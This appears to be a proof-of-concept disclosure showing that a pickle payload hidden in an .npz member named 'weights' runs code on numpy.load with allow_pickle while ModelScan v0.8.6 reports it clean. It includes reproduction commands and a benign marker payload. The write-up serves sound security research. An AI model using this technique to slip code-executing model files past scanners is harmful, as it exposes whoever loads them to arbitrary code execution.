Views
No views yet
/tmp/POC_PWNED_npz_bypass). No destructive or network behavior.bypass.npz is a numpy .npz archive whose pickle payload is stored in a zip member named
weights (no .npy extension). numpy.load(..., allow_pickle=True) still unpickles that member
on access and executes arbitrary code — but Protect AI ModelScan (tested v0.8.6) tags zip members by
file extension, never assigns the weights member the NUMPY format, and reports "No issues found!".1pip install numpy==2.0.2 modelscan==0.8.6
2# 1) it executes on load:
3python -c "import numpy as np; np.load('bypass.npz', allow_pickle=True)['weights']; print(open('/tmp/POC_PWNED_npz_bypass').read())"
4# -> prints BYPASS_PWNED_<n>
5# 2) but the scanner says clean:
6modelscan -p bypass.npz # -> "No issues found!"
7modelscan -p bypass.npz --show-skipped # -> "bypass.npz:weights ... Model Scan did not scan file".npz with the same payload in a member named config.npy IS flagged CRITICAL by ModelScan.
See build_bypass.py for how the file was constructed.